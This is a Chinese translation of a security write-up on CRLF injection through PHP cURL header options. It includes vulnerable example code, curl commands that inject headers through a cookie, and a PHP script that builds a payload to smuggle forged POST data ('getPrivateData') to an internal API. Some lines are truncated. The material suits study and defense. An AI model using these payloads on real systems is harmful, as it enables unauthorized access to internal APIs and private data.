CRLF Injection Into PHP's cURL Options

mss**** / 2019-01-09 08:24:00 / 浏览数 2873 技术文章 技术文章 顶(0) 踩(0)

原文地址：https://medium.com/@tomnomnom/crlf-injection-into-phps-curl-options-e2e0d7cfe545

在本文中,我们将向读者详细介绍如何将回车符和换行符注入内部API调用。一年前，我曾经在GitHub上写过一篇这方面的文章，但是，话说回来，哪里可不是发布文章的最

实际上，我个人还是更倾心于白盒测试的，因为，黑盒测试并不是我的强项——毕竟，我曾经花了十多年的时间来阅读和编写PHP代码，并且在此过程中，曾经犯了许多的

我曾经在浏览源代码的过程中发现了一个如下所示的函数：

```
<?php
// common.php

function getTrialGroups(){
   $trialGroups = 'default';

   if (isset($_COOKIE['trialGroups'])){
       $trialGroups = $_COOKIE['trialGroups'];
   }

   return explode(",", $trialGroups);
}
```

我所浏览的系统提供了一个"试用组"的概念。每个用户会话都有一组与其相关联的组，这些组被存储在cookie中以逗号为分隔符的列表内。其思想是，当启用新功能时，只

由于这个函数中缺少白名单，所以，它立即就引起了我的注意。于是，我对代码库的其余部分也进行了搜索，以查找调用该函数的位置，这样，我就可以考察对其返回值的

当然，原来的代码就不在这里展示了，下面给出大致的相似的代码：

```
<?php
// server.php

// Include common functions
require __DIR__.'/common.php';

// Using the awesome httpbin.org here to just reflect
// our whole request back at us as JSON :)
$ch = curl_init("http://httpbin.org/post");

// Make curl_exec return the response body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Set the content type and pass through any trial groups
curl_setopt($ch, CURLOPT_HTTPHEADER, [
   "Content-Type: application/json",
   "X-Trial-Groups: " . implode(",", getTrialGroups())
]);

// Call the 'getPublicData' RPC method on the internal API
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
   "method" => "getPublicData",
   "params" => []
]));

// Return the response to the user
echo curl_exec($ch);

curl_close($ch);
```

这段代码使用cURL库通过内部JSON
API来调用getPublicData方法。该API需要了解用户的试用组，以便相应地更改其行为，所以，可以利用X-Trial-Groups头部将试用组传递给该API。

问题在于，在设置curlopt_httpheader时，这里并没有对回车符或换行符进行检查。因为getTrialGroups()函数返回的是用户可控的数据，所以，攻击者可以将任意头部插入

攻击演示

为了便于理解，我将使用PHP内置的Web服务器在本地运行server.php脚本：

```
tom@slim:~/tmp/crlf■ php -S localhost:1234 server.php
PHP 7.2.7-0ubuntu0.18.04.2 Development Server started at Sun Jul 29 14:15:14 2018
Listening on http://localhost:1234
Document root is /home/tom/tmp/crlf
Press Ctrl-C to quit.
```

借助于命令行实用工具cURL，我们可以发送一个示例请求，其中包括一个trialGroups cookie：

```
tom@slim:~■ curl -s localhost:1234 -b 'trialGroups=A1,B2'
{
 "args": {},
 "data": "{\"method\":\"getPublicData\",\"params\":[]}",
 "files": {},
 "form": {},
 "headers": {
   "Accept": "*/*",
   "Connection": "close",
   "Content-Length": "38",
   "Content-Type": "application/json",
   "Host": "httpbin.org",
   "X-Trial-Groups": "A1,B2"
 },
 "json": {
   "method": "getPublicData",
   "params": []
 },
 "origin": "X.X.X.X",
 "url": "http://httpbin.org/post"
}
```

如果使用`http://httpbin.org/post`代替内部API端点，它会返回一个JSON文档，该文档用以描述发送的POST请求，包括请求中的所有POST数据和头部。

对于响应来说，需要重点关注的地方在于，发送给httpbin.org的X-Trial-Groups头部内含有trialGroups cookie中的A1、B2字符串。所以，下面让我们尝试注入一些CRLF（回车换行符）：

```
tom@slim:~■ curl -s localhost:1234 -b 'trialGroups=A1,B2%0d%0aX-Injected:%20true'
{
 "args": {},
 "data": "{\"method\":\"getPublicData\",\"params\":[]}",
 "files": {},
 "form": {},
 "headers": {
   "Accept": "*/*",
   "Connection": "close",
   "Content-Length": "38",
   "Content-Type": "application/json",
   "Host": "httpbin.org",
   "X-Injected": "true",
   "X-Trial-Groups": "A1,B2"
 },
 "json": {
   "method": "getPublicData",
   "params": []
 },
 "origin": "X.X.X.X",
 "url": "http://httpbin.org/post"
}
```

由于PHP会对cookie值中URL编码序列（例如%0d，%0a)进行自动解码，因此，我们可以在发送的cookie值中使用经过URL编码的回车符(%0d)和换行符(%0a)。我们知道cURL库写入这些请求的头部时，有效载荷的X-Injected: true部分将被视为一个单独的头部。这简直太棒了！

HTTP请求

通过向请求中注入头部数据后，我们到底可以做些什么呢？
嗯，老实说，就本例来说，能够做的事情确实有限。然而，如果我们深入研究HTTP请求的结构就会发现，实际上不仅可以注入头部数据，还可以注入POST数据！

要想了解该漏洞的利用原理，需要对一些HTTP请求了如指掌。其中，可以执行的最基本的HTTP POST请求如下所示：

```
POST /post HTTP/1.1
Host: httpbin.org
Connection: close
Content-Length: 7

thedata
```

下面，让我们进行逐行解读。

```
POST /post HTTP/1.1
```

第一行表示使用POST方法向/post端点发送请求，使用HTTP协议的版本号为1.1。

```
Host: httpbin.org
```

这个头部的作用是告诉远程服务器，我们要请求httpbin.org域上的页面。虽然这看上去是多余的，但当您连接到HTTP服务器时，实际上连接的是服务器的IP地址，而不是域

```
Connection: close
```

这个头部要求服务器在发送响应后关闭底层TCP连接。如果没有提供这个头部的话，在发送响应后，连接会继续保持打开状态。

```
Content-Length: 7
```

Content-Length头部用来告诉服务器将在请求正文中发送多少字节的数据。这一点非常重要:）

是的，这里并没有出现错误；这条空行只包含一个CRLF序列。它告诉服务器，我们已经完成了头部的发送工作，接下来将发送请求正文。

```
thedata
```

最后，我们会发送请求正文（也称为POST数据）。并且，正文的长度（以字节为单位）必须与前面发送的Content-Length头部中声明的长度相匹配，因为我们已经告诉服务

下面，我们将这个请求发送到httpbin.org，采取的具体方法是将一个echo命令的输出，以命令管道方式传递给netcat：

```
tom@slim:~■ echo -e "POST /post HTTP/1.1\r\nHost: httpbin.org\r\nConnection: close\r\nContent-Length: 7\r\n\r\nthedata" | nc h
HTTP/1.1 200 OK
Connection: close
Server: gunicorn/19.9.0
Date: Sun, 29 Jul 2018 14:16:34 GMT
Content-Type: application/json
Content-Length: 257
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Via: 1.1 vegur

{
 "args": {},
 "data": "thedata",
 "files": {},
 "form": {},
 "headers": {
   "Connection": "close",
   "Content-Length": "7",
   "Host": "httpbin.org"
 },
 "json": null,
 "origin": "X.X.X.X",
 "url": "http://httpbin.org/post"
}
```

如果一切正常的话，我们会收到一些响应头部，一个CRLF序列，然后是响应的正文。

所以，这里有一个问题：如果发送的POST数据比在Content-Length头部中声明的要多的话，将会发生什么情况呢？ 为此，我们不妨试试：

```
tom@slim:~■ echo -e "POST /post HTTP/1.1\r\nHost: httpbin.org\r\nConnection: close\r\nContent-Length: 7\r\n\r\nthedata some mo
HTTP/1.1 200 OK
Connection: close
Server: gunicorn/19.9.0
Date: Sun, 29 Jul 2018 14:20:10 GMT
Content-Type: application/json
Content-Length: 257
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```

```
Via: 1.1 vegur

{
 "args": {},
 "data": "thedata",
 "files": {},
 "form": {},
 "headers": {
   "Connection": "close",
   "Content-Length": "7",
   "Host": "httpbin.org"
 },
 "json": null,
 "origin": "X.X.X.X",
 "url": "http://httpbin.org/post"
}
```

如果保持Content-Length头部不变，比如说发送7个字节，但是却向请求主体中添加了更多数据，这时，服务器只会读取前7个字节。这一点正是我们制造漏洞的诀窍。

利用漏洞

事实证明，当我们设置curlopt_httpheader选项时，不仅可以使用单个CRLF序列来注入头部数据，还可以使用双CRLF序列来注入POST数据。具体步骤如下所示：

1. 精心构造我们的JSON POST数据，让它调用getPublicData之外的方法，比如getPrivateData
2. 获取该数据的长度(以字节为单位)
3. 使用单个CRLF序列来注入一个Content-Length头部数据，让服务器仅读取上一步获取的字节数
4. 注入两个CRLF序列，让我们的恶意JSON作为POST数据进行传输

如果一切顺利的话，相应的内部API将完全忽略合法的JSONPOST数据，转而使用我们的恶意JSON数据。

为了过得更轻松一些，我编写了相应的脚本来替我生成这些类型的有效荷载；这样的话，不仅可以偷懒，还能降低犯错误的几率，具体代码如下所示：

```
tom@slim:~■ cat gencookie.php
<?php
$postData = '{"method": "getPrivateData", "params": []}';
$length = strlen($postData);

$payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$postData}";

echo "trialGroups=".urlencode($payload);
tom@slim:~■ php gencookie.php
trialGroups=ignore%0D%0AContent-Length%3A+42%0D%0A%0D%0A%7B%22method%22%3A+%22getPrivateData%22%2C+%22params%22%3A+%5B%5D%7D

■■■■■■■■■

tom@slim:~■ curl -s localhost:1234 -b $(php gencookie.php)
{
 "args": {},
 "data": "{\"method\": \"getPrivateData\", \"params\": []}",
 "files": {},
 "form": {},
 "headers": {
   "Accept": "*/*",
   "Connection": "close",
   "Content-Length": "42",
   "Content-Type": "application/json",
   "Host": "httpbin.org",
   "X-Trial-Groups": "ignore"
 },
 "json": {
   "method": "getPrivateData",
   "params": []
 },
 "origin": "X.X.X.X",
 "url": "http://httpbin.org/post"
}
```

成功啦！我们将x-Trial-Groups头部设置为ignore，并注入了一个Content-Length头部以及我们自己的POST数据。我们虽然发送了合法的POST数据，但被服务器全部忽略

对于这种漏洞来说，是很难通过黑盒测试发现的；不过，我认为本文还是值得大家一读的，因为现在到处都在使用开源代码，同时，对于编写代码的人来说，这也是一个不错 vectors）。

其他攻击向量

自从发现这个漏洞以后，我就一直在关注类似的情况。经过研究后发现，CURLOPT_HTTPHEADER并不是唯一存在这种安全隐患的cURL选项。由于请求中的下列选项（可能 会隐式设置头部数据，所以，它们也存在同样的安全漏洞：

- CURLOPT_HEADER
- CURLOPT_COOKIE
- CURLOPT_RANGE
- CURLOPT_REFERER
- CURLOPT_USERAGENT
- CURLOPT_PROXYHEADER

希望本文能够对大家有所帮助，并祝各位阅读愉快！